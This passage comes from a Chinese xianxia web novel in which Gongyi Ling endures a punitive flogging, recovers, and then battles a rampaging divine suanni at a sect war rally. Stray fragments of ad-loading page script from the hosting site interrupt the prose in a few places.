公仪岚紧握着拳,不忍去听。 早知如此,那一日紫阳殿内,他绝不会依着众人的意思,让公仪岭一个人单刀赴会前去救人!如果当时他也跟着去的话,便不会发生这样的事情,阿岭也就不会…… 也许是因为听到了大哥的声音,公仪岭也仅仅只哼了那么一声,之后不管多少戒鞭落下,他都死死地咬紧了唇,没有再出一声。 仙家惩罚鞭刑,并不止是打在背上,四肢上的每一处肌肤,都避无可避。每落下一道戒鞭,殿上众人都可以清楚地听到鞭子绽开皮肉,飞溅起鲜血的声音。仅仅只是观看,都令人触目惊心,叫人倒吸一口凉气。 公仪岚与齐元白眼含泪水,其余与公仪岭相识的人也都沉默不语,孟翰言担心这样的场景会吓到妹妹,则是一只手捂住了她的眼睛。 痛、痛、太痛了! 鲜血顺着他手上的道道伤口流淌过指尖,一滴一滴地落在地上。 哪怕公仪岭已经不是第一次尝戒鞭的滋味,但当他再受一次的时候,依旧是痛到失去知觉、头脑发蒙,全身上下都因为疼痛而止不住地战栗,到后面,他甚至都分不清自己身上到底是疼痛还是麻木。 下唇不知什么时候早已被咬破流血,可他却无知无觉,紧紧闭着双眼,只盼着这二十鞭早点打完。 而旁边的齐元白,看着已经被打得血肉模糊的公仪岭,心中只能反复地安慰自己:这五十鞭前后分开来打,至少不会将他打废。 也还好,公仪岭来之前好歹告诉了了自己这件事情,能让自己稍微做点准备。这一趟过来,他特意没带上清鸢,还带了不少灵丹妙药来,就怕有什么意外,还能救他一命。 公仪岭强撑着才没让自己痛晕了过去,直到最后一鞭落下,他才缓缓地睁开了眼,心中蓦然生出一种松了一口气的感觉,像是背负了好久的包袱终于能够放下了,竟然完全放松了下来。 善承收起了戒鞭,平静宣布道:“今日公仪岭的二十鞭已经打完, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 余下的,等到大战结束后再行清算。” 公仪岭手指颤抖,想要抬起手腕,尝试了许久,却还是动弹不得。 他现在别说是跪在地上了,哪怕连抬手抬脚这样简单的动作都难以做到,若没有灵药救治,这样的伤势,十天半个月他都别想下床。 但在善承长老说完最后一个字,正想叫仙侍来把公仪岭抬出去的时候,齐元白已经一个箭步上来,将丹药塞到公仪岭的嘴里,又将玉瓶中的粉末倒在了他的身上,将鲜血勉强止住。 “嘶——” 齐元白的这些粉末效果虽好,但洒在身上仍然免不了又是一阵剧痛,公仪岭嘴里还含着丹药,只能含糊不清地叫了一声。 齐元白看着他整个被打得已经不成样子的后背,咬了咬牙安慰道:“阿岭,你忍一忍啊!” 公仪岭哪里还有力气说别的话,整个人跟砧板上的死鱼一样趴着,好不容易把丹药给吞了下去,稍微一动又牵动了身上的其他伤口,顿时痛得龇牙咧嘴。 本来燕渊心中的这口气便没出掉,这会儿看见一群人巴巴地给公仪岭送药,顿时不悦道:“齐宗主,你这是什么意思?什么时候三化殿上刚罚完的人,下一秒就能吃上药了?” 公仪岚沉声道:“燕少宗主,仙门戒鞭您并非没挨过,这其中是什么滋味,难道您心里不清楚?这么一顿下来,阿岭至少十日都难以下床行走!眼下大战在即,若是不用灵药养着,难道就要让他这样随我们一起去围剿玄霄殿吗?” 眼下这个情况,燕蓉清楚自家宗门没人敢在这种时候去给少宗主一个台阶下,也只能自己出面劝诫了。 燕蓉道:“少宗主,现在毕竟情况特殊,谁也不能保证十日里,有没有下一个无妄宗受灾,眼下公仪岭这二十鞭也受了,齐宗主喂药也是为了之后考虑。” 燕渊到底还是给师姐几分薄面,只是冷哼了一声,总算没再说话。 见燕蓉帮忙摆平了此人,公仪岚也没了顾忌,径直拦下了要将他抬走的仙侍,走到公仪岭面前。 他的手腕、胫骨、脚踝、腿上和背上,遍布伤口,一道接着一道,一道更比一道深。公仪岚看着他这满身的血痕,心都揪了起来,眼中已泛起了泪光。 即便是阿岭从前在云灵山犯下了什么错,也最多只被爹娘象征性地抽过三四下,何曾把人打成过这般模样! 公仪岚蹲了下来,颤抖着想伸出手替他抚平那些伤痕,但却停在了半空中,最终还是抚上了公仪岭的脸庞。 他抿唇沉默了很久,才道:“是不是很痛?阿岭。” 公仪岭微微抬头,见他眼中泪光闪烁,心中也是一阵难受,并不想让兄长担心,沙哑着勉强开口:“我没事,大哥。” 公仪岚又如何不知他在想什么,轻声道:“等一切结束,我们就回家,回云灵山。” 公仪岭眼眶微红,滑落了一滴泪,道了一声:“好。” 118.誓师无定涯 一剑战狻猊(一) 齐元白替他上好了伤药,公仪岚就想将他带出三化殿找人医治。纪银灵却在这时再度开口,问善承长老:“不知,诸位打算何时召集大家出发?” 善承长老与燕修远对视了一眼:“此事我已经与燕宗主商议过了,五日后会在紫阳宗举行誓师大会,届时,所有宗门都会到场。” “什么?才五天?” 齐元白十分不满。五日时间,公仪岭该如何恢复如初?即便是他带来这么多药,恐怕也难以在这么短的时间将他治好。 燕修远道:“时间紧迫,五日时间已是极限,齐宗主,你应该明白我的意思。” 公仪岚一心尽快替公仪岭疗伤,不愿与他们再耽误时间,于是沉声道:“五日便五日!善承长老,至于布阵一事,就等到阿岭伤好一些了再议吧。” 善承长老点了点头。毕竟抱元门和云灵山依旧还是姻亲关系,他们自然得给公仪岚留几分薄面。 见公仪岚和齐元白要带着他离开,司月吟毫不犹豫跟了上去。 公仪岚诧异道:“月吟,你过来的话,两位长老会不会怪你擅自离席?” 司月吟摇了摇头,对两人轻声道:“你们跟我来,我带你们去药泉里。” 公仪岚顿时想起了抱元门里有一汪药泉,用来疗伤是最好的,面上露出几分喜色道:“多谢你了,月吟。” 公仪岭也勉强咧了咧嘴:“多谢大嫂出手相救。” 司月吟没有与他计较称呼的问题,等到带着他们走到了药泉的地方,才缓缓道:“你们去玄霄殿的时候,我没能跟去,这几日心中很是自责。只是,当时我被长老看着,多有无奈,你们理解。” 公仪岚搀扶着弟弟,将他扶进了药泉里,回头望着她:“我明白,月吟,你不必自责。” “他现在伤口还没完全愈合,刚下去应该会有些疼痛,也只能强忍一下了,我现在去药阁取一些能用的药来,看看能不能帮他快些恢复。” 各家的药阁基本都是不让外人进出的,公仪岚即便想跟着去也没有办法,于是点头应了,跟齐元白两个人守在这边,等他泡完。 公仪岭刚下泉水确实是疼了一会儿,但后面也不知是药泉起作用了,还是齐元白上的药起作用了,慢慢地就感觉不到了疼痛,反而全身涌起一股暖意,顺着他的经脉四散。 齐元白看着他的气色逐渐好转,身上也不再淌血,心里稍安,正想问问他感觉如何,就听到药泉外传来一声清悦女音。 他还以为是司月吟回来了,仔细一听又觉得不太像,转头一看,便见林子里钻出一位身着青绿衣服的女子。 齐元白没想到她来了这边,讶异道:“妙意姑娘,你怎么来了?” 孟妙意抬眼看见了他们,松了口气:“总算是找到了,你们临走前没说去哪儿了,我问了好几个抱元门的弟子才知道。” 她走到药泉旁边,从袖中取出一瓶草药和一颗丹药,交到了公仪岚手上。 公仪岚问道:“孟姑娘,你这是?” 孟妙意瞥了一眼泡在泉水里的人:“大家到底相识一场,我随身带了些草药就拿过来了,等他泡完,把这些抹到伤口的地方,就不会留疤。至于这丹药,吃完想必是能让他五天里缓过来的。” 齐元白喜道:“真的啊?那真是多谢你了!” 公仪岚也对她道了谢,让公仪岭先把丹药咽了下去。 公仪岭泡在泉水中,仰头对她笑道:“孟姑娘大人不记小人过,以后你有什么难处,我肯定帮!” 孟妙意失笑:“好啊。” 孟妙意在此地也不便多留,跑来送完药了就离开了。泉边两人替公仪岭上了药,公仪岭又跟他们回去将养了几日。等到三日后,就已经能够正常地下床行走了。 虽然公仪岭身上的伤疤慢慢开始消退了,也再三强调自己已经没事了,但公仪岚还是日日拿了司月吟准备的补药过来,每日盯着他喝下去,直到第五日他已经能够运用灵气,来去自如地使唤归云,才安了心。 见他无事,齐元白回禀了两位长老,带着他一起去了偏殿。 三化偏殿之中,大家见到他们过来,也就都坐直了,等待着长老开口。 公仪岭环视四周,则是颇感意外。 偏殿里只有寥寥几人,除去两位长老和自己,就只有大哥、司月吟、燕修远、燕煦泽、齐元白和孟翰言了。 甚至燕蓉都不在其中,多少是他没想到的。 不过转念一想,大约是因为齐元白的符箓更能帮上些忙,也是情理之中。 公仪岭跟着大哥也在旁边坐了下来,就听善承长老问了一句:“公仪岭,你感觉如何了?” 他心知若是没有善承长老首肯,哪怕司月吟是宗主之女,自己恐怕也不能借他们的药泉一用。 于是公仪岭答道:“已经大好了,多谢长老关心。” 善承长老点了点头,从正座上起身,抬手施法,众人面前便凭空出现了一副巨大的布阵图,上面几个明显的点位微微亮起,旁边还有许多他们完全看不懂的符文和咒诀,应当是布阵的时候需要用到的。 在场的无一不是各仙门世家的翘楚,看了一眼就认出了这个阵法是抱元门的护山大阵。 这东西有多重要,公仪岭心中十分清楚,也更是因此而感到不安起来——这样的东西都拿出来了,怕是局势不容乐观啊。 果不其然,就听善承长老说道:“今日召大家前来,便是让大家今日将此图记下,上面发光的点位,都是到时候需要你们站的位置。” 这图看起来复杂,实际上并不难记,公仪岭默默看了一会儿,将上面的东西都悉数记在了脑子里。 殿内寂静了片刻后,公仪岚问道:“长老,阵眼届时又该如何布下?” 善承长老道:“玄微长老会布好阵眼,你们不必担心。” 燕煦泽皱眉道:“我只担心,我们这些人都去布阵了,若是宗门其他弟子在前面撑不住的话,恐怕就……” 玄微长老正色道:“此阵只是为了以防万一,只有在情况危急的时候,才会召你们开启,在一开始围剿玄霄殿的时候,你们专心杀敌便是。” 众人了然,皆道:“明白了。” 所有人记下了布阵图后,第二日,两位长老就带着所有人前往了紫阳宗。 * 今日紫阳宗召开誓师大会的事情早已传信给了各大宗门,在门内弟子的安排下,都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已经在琼华岛后的无定涯列阵等待。 公仪岭一开始还不解,为何会将誓师大会设在无定涯之中,不过,等他抵达了琼华岛上,亲眼看见了紫阳宗的祥瑞神兽以后,便彻底理解了。 毕竟是出征,人人都想找个吉祥的东西来拜一拜,好庇佑他们平安归来,再没有比紫阳宗豢养的这个神兽更合适的了。 燕煦泽见他看得呆了,在旁边笑道:“公仪,怎么样?我们宗门的九宫青狻猊养得不错吧?” 公仪岭望着这周身烟雾缭绕,青色毛皮,形似巨狮的青狻猊,讷讷道:“确实养得不错。” 看这样子,他爹娘当时没养一个神兽当真是明智之举。公仪岭光是看看它那强悍威猛的样子,都能猜得出来一天得喂多少东西。 一般的宗门,还真养不起这样的神兽。 燕蓉叹息道:“那是当然了,这青狻猊可挑食得很,不仅要吃灵兽,还得吃自己抓的灵兽,光这一项,便是一笔不小的开支。” 燕煦泽往身后看了一眼壮着胆子的燕渊,道:“让少宗主过来无定涯,真是为难他了。” 燕蓉扫了一眼关着青狻猊的结界:“有什么好怕的,有这结界在,再怎么样也不会出来伤到他。” 要是以往,公仪岭定然是会笑一笑燕渊这胆子,只是现在这样,连他自己都颇为紧张,压根就无暇顾及旁的了。 几人轻声说完,便也依照着安排,各自回到了自己宗门的位置上。公仪岭紧紧跟在大哥的身后,寻到了云灵山众弟子,和他们汇合。 此刻,那九宫青狻猊正困在紫阳宗设的结界之中,站在无定涯边,看起来有些焦躁不安地来回踱步。 而它面前,密密麻麻站满了各宗门派来参加誓师大会的精英弟子,每个人都凝望着祭台上的那副玄晶冰棺,那里面躺着的,正是紫阳宗燕婉的尸身。 每家的宗主神情肃穆地站在队伍的最前方,接过了燕修远分来的烈酒。 等紫阳宗的弟子为他们每个人都递上了酒盏,所有人抬手把酒奉于前方后,就听祭台上燕修远肃然有力的声音回荡在整个无定涯间。 “玄霄殿盗取御魔幡,私炼傀儡,害我百余名仙界子弟!这一杯酒,祭奠所有死去的宗门英烈,愿逝者安息。” 说罢,燕修远杯盏倾斜,将酒洒在祭台上。 台下所有人也随之而动,倾酒入土。 待到众人碗中重新被倒入酒后,燕修远才继续道:“众仙家弟子们,玄霄殿罪行昭昭,破坏整个天下的安宁,今日我们齐聚无定涯,正是为了与之决战!这第二杯酒,敬此战,必胜!” 群情激昂,无定涯上每一位弟子都奋力呼喊:“必胜!必胜!必胜!” “第三杯酒,敬此战,凯旋!” 这碎金断玉的话语刚落,无定涯便响起震耳欲聋的呐喊和欢呼之声,烈酒下肚,众人将酒盏高高举起,随即狠狠砸在了地上,散落了一地的碎片。 所有人手中祭出各自法器,高声道喊道:“凯旋!凯旋!凯旋!” 公仪岭头一回参加这样的大会,也正随着众人一同呼喊着凯旋。可还没喊上两声,他就突然察觉到哪里不对,一双眼死死盯着祭台后面那巨大的结界。 119.誓师无定涯 一剑战狻猊(二) 结界呢?哪里还有什么结界? 若是他没有看错的话,那关着九宫青狻猊的结界,竟然不知道什么时候消失了! 公仪岭心中一沉。 结界消失了,那九宫青狻猊呢? 他的视线被祭台挡住,完全看不见无定涯边的情况,冷汗瞬间下来了。 像他们这样宗门豢养的神兽,都是被驯养好了的,虽然不用担心它暴起伤人,但现在无定涯这么多人,谁也不能保证会不会因此刺激到青狻猊,这才设下了结界以防万一。 而他旁边大家似乎都对此无知无觉,压根没有注意到结界不见了的事情。 公仪岭只能大喝一声借此提醒燕修远:“燕宗主!无定涯的结界呢?!” 他声音极大,站的又靠近祭台,瞬间就被燕修远听到了。 燕修远面色微变,转过身想要查看,然而下一秒,他面前便凭空跃起一物,把祭台上方的天空遮了个严实,眼看着就要扑到他身上。 如此短暂的时间间隔,燕修远只来得及用法扇挥出一道劲风,纵身一跃落到祭台底下,避开了九宫青狻猊的扑咬。 所幸祭台搭建得牢固,被它这么奋力一扑,竟然没有倒塌,只是震动了几下,便撑住了重量。 “怎么回事?怎么回事!” “青狻猊逃出来了!” “结界呢?设下的结界怎么不见了!” 变故突如其来,祭台下众人反应不及,一个个面如土色。直到燕渊凄厉地喊了一声:“爹!阿姐还在上面!”旁人才想起来祭台上的那副玄晶冰棺。 燕修远眉头紧锁,正打算想办法引开九宫青狻猊,再让紫阳宗的人把玄晶冰棺带走。然而祭台之下转瞬间就已经闪出一人,手握长剑,几下飞跃便已经来到了祭台之上。 公仪岭的速度之快,就连站在他前面的公仪岚都反应不及,看着他绝尘而去的背影,惊声道:“阿岭!” 随即也不顾身后众人喊了自己什么,提着彻云剑追了上去。 九宫青狻猊与那只火凤大小相近,这样近的距离看,公仪岭更觉得这狻猊长得与狮子相差不大,在他看来,唯一的区别就是这是一头长了一对角的青色狮子罢了。 若非这祭台上还放了燕婉的尸身,他这样刚恢复的身子,断然不会乱来到直接与青狻猊一对一。 青狻猊仰天震吼了一声,一双斗大的蓝色眼睛凝视着公仪岭,暂且没有下一步的动作。 两人大眼对小眼这么两两望了一阵,公仪岚也追了上来,拽着公仪岭就想将他拉到一旁:“阿岭!你才刚好,千万不要再乱来了!” 公仪岭轻声道:“大哥,我心中有数。只要我们将它引下祭台,再重新设下无定涯的结界,想必就不会有问题了。现在它在祭台上,若是毁坏了燕婉的冰棺,就大事不妙了。” 公仪岚知道他放心不下,于是没再出言劝阻,凝声道:“先试试看能不能把它引回去吧,我看这青狻猊状态很不对劲的样子。” 话音刚落,面前的青狻猊像是也确认了目标,直接张着血盆大口朝着公仪岭扑来! 公仪岭疾步后撤躲过了这一扑咬,自祭台边缘借力跃起,绕到了青狻猊的身后,扬手召出归云,横扫出一道剑光。 然而,青狻猊表皮坚硬如铁甲,那一道剑光扫去,仅仅只是击打出“铛”的一声,震得它的回过身来,想要重新进攻。 公仪岚在另一侧也故技重施,随即就跳下了祭台,想让彻云剑纷杂缭乱的剑光去吸引青狻猊的注意力。 对面台下众人皆严阵以待,就怕这神兽突然袭人,又担心不由分说招呼上去法术会误伤神兽,一时间也没有轻举妄动,只有少部分人挥舞着法器,念着法诀去对付青狻猊。 青狻猊前后都被夹击,当即便怒目如火,嘶嚎着回身跃下了祭台,鼻子里喷出阵阵烟雾,抖落着巨大的身躯扑咬上去,有几个离得近的弟子根本来不及闪避,双腿就已经被青狻猊咬断了。 断腿伤口还在汩汩地流着血,青狻猊脖子一扭将人甩飞出去,嘴里还上下嚼着那截断腿。那弟子拖着身子在地上边爬边哭喊,吓得所有人都惊声尖叫起来。 “青狻猊发狂了!它发狂了!” “咬死人了!” 这种时候,谁还顾得上青狻猊是神兽这一回事,大大小小的法术全都招呼了过去,却全都被它一爪拦了下来,压根没有伤到它一丝一毫。 众人这边全是乱七八糟、密密麻麻的法术、飞剑等等攻击,相较之下,完全显得公仪岭那边的引诱之法不足为惧了。 青狻猊根本没给他们引诱的机会,修士的鲜血大大地刺激了它,长尾一扫,两侧围过来想要在侧翼偷袭的人就被扫落在地,下一刻,劈头盖脸过来的就是他那巨大的脚爪,直接把几个宗门弟子踩在了脚下。 也正是在这样的时机,燕蓉也终于寻到了机会,飞身上台将燕婉的冰棺给带了下来。 燕渊小时候是在青狻猊这边结结实实吃过亏的,如今又见到青狻猊暴起伤人,一双腿抖如筛糠,惊叫着挥扇点燃了远处的一片草地:“别!别过来!” 这草地燃起熊熊大火,却也只是小小地阻隔了青狻猊与众人,仅仅拖延了一瞬能让那些弟子们带着受伤的几位往远处狂奔。 燕蓉眉头微皱,把玄晶冰棺带到燕渊面前,不容置疑道:“少宗主,你看好师姐,离得远些,不要靠近青狻猊!” 说罢,燕蓉就想冲到前面去帮忙,只是刚离开没两步,便被燕煦泽一只手拦下。 “师兄,你拦我做什么?!” 燕煦泽沉声道:“青狻猊根本不惧火光和烟雾,鲜血越多,就会越激发出他的兽性,除非你能完全将它激怒,一心与你缠斗,再将他引入结界之中,才能成功困住它,不然的话,你就这样上去,难道要让我看着你白白送死吗?!” 燕蓉咬牙道:“不管怎么说,我们也得先稳住场上局面才行!” 燕煦泽叹了口气,望着祭台下乱作一团的场面,也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是无比头痛:“我们先一起上去拖住他,让其他弟子退到后面!不然的话,要是死那么多人,让青狻猊越战越勇就糟了。” 燕蓉道:“尚未出征,我们就折损了那么多人,该如何是好?青狻猊一向喜静,怎么会突然暴起伤人!” 燕煦泽道:“现在不是追究这个的时候了,把它控制住才行!” 正说着,祭台边上燕修远也是一声大喝:“大家都保持队形不要散开!都退到安全的地方不要上前!” 听到了燕修远的话,众人只当他有办法再次收服神兽,各家宗主立刻命门中弟子退回树林那边。 太微山、六弦阁、青花谷这三家,也只留下了三位宗主控制局面,余下的全部都被勒令后退,齐元白和孟翰言更是直接把自家两位妹妹推回了宗门队伍里,大喝着让弟子看顾好两人。 所有小宗门刚退了个干干净净,树林外便凭空出现了一道结界,将他们全部拦住了。 “这是怎么回事?” 惊诧之余,大家看着结界上若隐若现的抱元门纹印,很快也都明白了过来。 他们是安全了,所有留在结界内与青狻猊周旋的人却还身处危险之中。 方才燕修远牵制着青狻猊,根本无暇腾出手来设置结界,只能由善承长老和玄微长老出手把他们拦在外面了。 司月吟催动法器,自祭台四面全部设下了雷阵,然而这阵中的道道惊雷,哪怕劈中了青狻猊,也不可能将它击倒在地上,这样的雷光对它而言,只会觉得身子酥麻了一下,根本没有别的作用,反倒是祭台被这十几道雷劈完以后,终于支撑不住,轰然倒地,成了一地碎石。 即便如此,公仪岭也还是担心这样会不会刺激地它再度暴起,望着青狻猊那满嘴的獠牙、如鞭子一样上下抽打着他们的尾巴。 半空中符箓飞舞,把青狻猊团团围住,而它只是抬了抬爪子,就轻而易举把那些符箓撕开了口子,闯了出来。 齐元白面色微沉,这些符箓虽不是他全力所为,那也至少有他五成修为,竟然就这样被击破,完全出乎了他的意料。 到底是别人家的神兽,孟翰言也不敢出手就漫天撒毒,只能用法术想办法对付它,打得束手束脚,很是艰难:“燕宗主,这青狻猊这么难对付,你们宗门之前到底是怎么收服的?!就不能重新把它收了吗?” 燕修远还没回答,燕蓉就肃然道:“先宗主乃是用了御魔幡才能收服这样的上古神兽,眼下御魔幡不在我们地方,该如何收它?!” 燕煦泽厉声道:“现在只能想办法先把他制服了,等到大战完拿回御魔幡,再把它重新教化。” 只是,说要制服,哪里那么容易?现在他们都不怎么能对神兽造成伤害,更别提完全把它用武力制服了。 若非公仪岭亲眼所见,他是绝对不相信居然有这样表皮坚硬地连个针都难以扎进去的东西,又或者是青狻猊体型太过巨大,对于他们现在的修为来说,汇聚的灵力并不足以伤害到它。 120.誓师无定涯 一剑战狻猊(三) 从他们交战到现在来看,也就只有燕修远飞出来的风刃能够稍微伤到它点皮毛,而两位长老布下的封印阵法对它似乎也并没有起到什么作用,抱元门的那三人,只能使用各种各样的攻击阵法,封锁住它的行动。 但是青狻猊行动极快,动不动还扑咬过来,打断他们使用法器的动作,让阵法设得并不顺利。 公仪岭凝眸观察着青狻猊那上下闭合打开的血盆大口,忽然心生一计。 片刻后,归云瞬间被他操控着分裂成十几个分身,朝着青狻猊的嘴里飞去。 公仪岚神色一凛,没想到他竟冒险驱使归云攻击青狻猊的嘴。 但是,这个办法虽然冒险,却是现在唯一能够伤到青狻猊的法子了。 归云疾驰而出,转瞬间便又回到了公仪岭手中,剑尖上已经沾染了青狻猊的血迹。 成功了! 青狻猊吃痛咆哮起来,声音之大简直想要震破在场所有人的耳膜。公仪岭强压下喉头的腥甜,想要后退几步暂且避开,却见青狻猊竟然龇着牙朝着他狂奔而来。 “阿岭!” 公仪岭凌空一个翻滚,从它的獠牙之间闪躲了过去,顾不得身后大哥的呼喊,想朝着无定涯边疾驰。 然而,他才刚转过了身想走,却没想到青狻猊抬爪对着他的后背就是一下。 公仪岭的后背前几日才刚受了戒鞭,还没好全现在又受了伤,身后的衣服也被扯出了几道极长的裂口,鲜血淋漓。 “嘶——” 公仪岭苦不堪言,心说自己怎么老是同一个地方挨打。眼看着青狻猊想要把自己抓住送入口中,他却因身形踉跄没办法及时避开,公仪岭别无他法,只能汇聚灵力,扬手抛出归云。 所有人都没想到他竟然在这样的情况下选择扔出归云,但归云直冲而上,势如破竹,瞬间扎穿了青狻猊的右眼。 这一剑,算是直接捅穿了它的眼睛,青狻猊那巨大的眼眶开始淅淅沥沥流出血泪,眼睛变得浑浊不堪,已经瞎了。 “这!” 燕修远都来不及为自家神兽心疼,旁边公仪岚便厉声开口道:“燕宗主,平日里说青狻猊是神兽便也罢了,今日它暴起伤了那么多仙家弟子,不管什么办法,先将它制服才是最要紧的。” 这句话说完,即便燕修远想表达对公仪岭的不满,也没了脾气,只得咬牙自认倒霉。 青狻猊没了一只眼睛,痛得震天咆哮。这咆哮声传到结界外,就连受了内伤的弟子都被震得五脏六腑一阵撕裂般疼痛,当场呕出鲜血。 无定涯上与它交手的几人也没好到哪里去,动作快的瞬间就封闭了自己的五识,动作稍慢些的,便觉血气上涌直冲天灵盖,差点鼻子里喷出血沫来。 公仪岭的这举动重伤了青狻猊的同时,也算是完全吸引了它的全部仇恨,对旁人的那些法术攻击完全置之不理,变得更加暴动,狂叫起来,追赶撕咬公仪岭。 纪银灵一见大事不妙,直接打断了叱灵琴飞出的道道音刃,转而开始演奏慰灵曲,想要借此让暴起的青狻猊变得平静一些。 慰灵毕竟是高阶曲目,哪怕是对这样的上古神兽也能起到微弱的作用。九宫青狻猊眼虽盲,但耳朵却没聋,听到慰灵曲后鼻子里喷出大量烟雾,对着扰它思绪的人多了点恼怒,但却依然没有想要改变目标的想法,只是用长长的火尾巴扫过去,打断她弹奏慰灵。 纪银灵不得不几次转变自己所在的位置,手上动作不停,带着叱灵琴在半空中左闪右避。 青狻猊几次没能得手,对这弹琴之人更是厌烦至极,回身对着纪银灵怒吼一声。 他们几人之中,只有纪银灵因为要弹琴,所以没有封闭自己的听觉,青狻猊这一声气沉丹田,效果极佳。纪银灵避闪不及,受了内伤,一口血喷在了自己的琴上,被气浪掀翻在地。 一见弹琴的人倒地,青狻猊立刻自地面飞跃起,朝她扑了过去。 纪银灵眼睛倏然睁大,面前那两排锋利如刀的牙齿与自己仅有咫尺之遥,想要再翻身闪避已是来不及,只能汇聚灵力想要暂且以仙障隔开,来保全性命。 谁知,公仪岚比她动作更快,还没等她汇聚完灵力,彻云剑已经挡在了她面前,周身散发着灵力流光,无形的屏障将青狻猊暂且击退了须臾。 这样的配合,已经不需要公仪岚再喊上一句了,公仪岭离青狻猊的距离比他们其他人更近,彻云剑刚到的那一瞬间,他便闪身到了人与剑之间,一掌将纪银灵推到了一旁。 纪银灵几下翻滚到了安全的地界,司月吟也在这时到了她旁边,把人给带到了她设下的阵法里。 那青狻猊正与彻云剑的仙障做着斗争,彻云剑猛然被收回,它一下子就头朝地往前冲了两步。公仪岭也正是等着这个时机,直接借力飞跃到了它的脑袋上,左摇右晃了几下才勉强站稳。 燕蓉生怕他再一冲动捅瞎青狻猊的另一只眼睛,大喊道:“公仪岭,别伤它另一只眼睛!” 燕煦泽也沉声道:“公仪!它已经被你激怒,你将它朝着无定涯边引,再想办法制服它!” 燕蓉说的话公仪岭心中明白,刚才他刺瞎青狻猊的眼睛乃是情急,到时候还能辩解一番,若是再刺瞎一只的话,就不好与紫阳宗交代了。 公仪岭在上面紧紧握着青狻猊的一只角,稳住自己的身体,大吼道:“我把它引到那边,你们设结界的话,我怎么出去!” 话刚问完,公仪岭就后悔了。 各家地界中虽然每个人都能设下结界,但互相之间若是不得其法,是很难破解的,多半只能用强攻来突破。但是如果他能制服青狻猊的话,哪里到时候又该怎么出去?且不说还有没有力气强攻下结界,万一再把青狻猊放跑,可就麻烦了。 在所有人里面,只有公仪岚设下的结界,公仪岭是可以用自己那枚凤纹玉佩出去的,但是公仪岭也清楚,让公仪岚来设结界的话,他定然不可能放心安心待在结界外。如果出了问题,两个人都没活着出去,云灵山该怎么办? 果不其然,公仪岚立刻就道:“我来设结界,你能出去!” 公仪岭没有回答,因为这时候,那青狻猊已经开始疯狂地摇晃起了自己的脑袋,想要把在头上的公仪岭给甩下来。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上面定然是待不住了,公仪岭也没犹豫,直接就飞了下去。 本来他上去还想试试看能不能找到青狻猊的弱点,结果用归云扎了两下后发现青狻猊的头顶也坚硬如铁,扎了两下像是给它挠痒痒,砍了两下也只留下了些许红印,连血都没出。 既然如此,也就没有在头上的必要了。 公仪岭一落地,青狻猊便看见了他,嘶吼着朝他奔来。 策略已经在他心里定下,这一次,公仪岭心无旁骛地朝着无定涯狂奔而去,而归云则被他驱使在身后,乒乒乓乓地穿梭在青狻猊的利齿之间,防止公仪岭一不留神又被咬了后背。 在这样追赶的速度下,几乎眨眼的工夫,公仪岭就已经到了悬崖边上。 脚底下稍微一动,就有碎石和土壤簌簌地被抖落到底下去。琼华岛也是位于东海之上的,即便公仪岭还没伸头往下看,都已经可以听到底下海面波涛汹涌、惊涛拍岸的声音了。 这样的高度,如果青狻猊掉下去,定然会被海水卷走,尸骨无存。 不用多加思考,公仪岭凝望着下一秒就要冲到自己面前的青狻猊,翻身跃上归云剑,归云立刻带着他飞到了旁边。 剑上之人瞬间划开了自己的掌心,不知画了个什么纹路符样,聚集起灵力翻掌打出,顿时,整个无定涯边出现了一道巨大的结界屏障。 九宫青狻猊被这道结界屏障拦住了去路,一头撞在了上面,却无法击破它闯出去。 而外面的所有人,也与公仪岭一障之隔,全数被拦在外面。 公仪岚根本没想到他竟然如此果决,甚至没给自己出手的机会,就已经设下了结界。他本以为有自己的龙纹玉佩,想进入弟弟的结界是轻而易举的事情,谁知他伸手触向透明结界,却仍然被弹开了去,根本无法进入。 公仪岚惊呆了,双手拍打着那透明的屏障,急得大喊:“阿岭——!” 齐元白用了符箓也不行,震惊道:“什么情况?!这是什么结界?” 善承长老和玄微长老凝眸细看,道:“这是抱元门的一种结界。” “抱元门的结界?!” 燕蓉之前只知道公仪岭会一些抱元门的阵法,却并不知道他竟然会设下抱元门的结界,当即也愣住了。 燕煦泽问道:“这结界牢吗?能不能从外面打开?” 司月吟摇了摇头,道:“这结界若非他自己主动打开,或是设结界的人死了,否则是无法从外面打开的。你们还记得之前仙考大会围猎时候,公仪岭他掉进了这种结界,后面也是找了设下结界的弟子才把他们带了出来。” 公仪岚听她说起,也想起了这件事,凝眉道:“他是一开始就打定了主意,不想让我进入结界,才会选择用这个的。” 燕蓉厉声道:“他疯了吗?!他想一个人制服九宫青狻猊?不要命了吗?!” 燕煦泽沉声道:“师妹,你冷静一点,现在青狻猊盯死了他攻击,我们在旁边恐怕也帮不上忙,还容易陷入危险,我觉得我们应该先看看公仪岭能不能制服它,若是不能的话,再让他自己出结界来!” 121.誓师无定涯 一剑战狻猊(四) 几人听到燕煦泽的话,这才稍微冷静了一点。 燕煦泽说的没错,结界是公仪岭设下的,他想自己出来是绝对没有问题的,但问题就在于,青狻猊还未温顺下来,结界能够维持的时间有限,等下次再它再闯出来的话,就不妙了。 众人理清楚了这一点以后,重新望向那透明结界中的一人一兽,满目担忧。 而公仪岭眉头紧锁,站在归云上,在空中穿梭着躲避青狻猊的攻击。 只是无定涯边空间有限,青狻猊一个就已经占据了四分之一的空间,他光靠闪躲也十分不易,稍有不慎,身后追过来的利齿就能把他的脖颈咬断。 现在该怎么办? 公仪岭心中也没底,光靠他现在的修为,很难伤到青狻猊,除非他汇聚十成十的灵力,或许还能勉强在它身上划开几道口子。 但是这样的话,他身上的灵力又能坚持到什么时候? 他自剑上跃下,手一举,归云剑就重新回到了他的手中。这一跃,便是直接跳到了青狻猊的侧身上。 刚才在外面与它搏斗的时候,青狻猊的两侧身子就没少被燕蓉他们攻击,表皮已有破损之相,公仪岭便是瞧准了这些地方,以全部灵力注入归云,借力猛然一刺,这才勉强将归云捅进了它坚硬的背部,流出了兽血。 青狻猊被灵力灼伤,痛得怒吼了一声,身体和尾部猛然一甩,想把公仪岭甩飞出去。 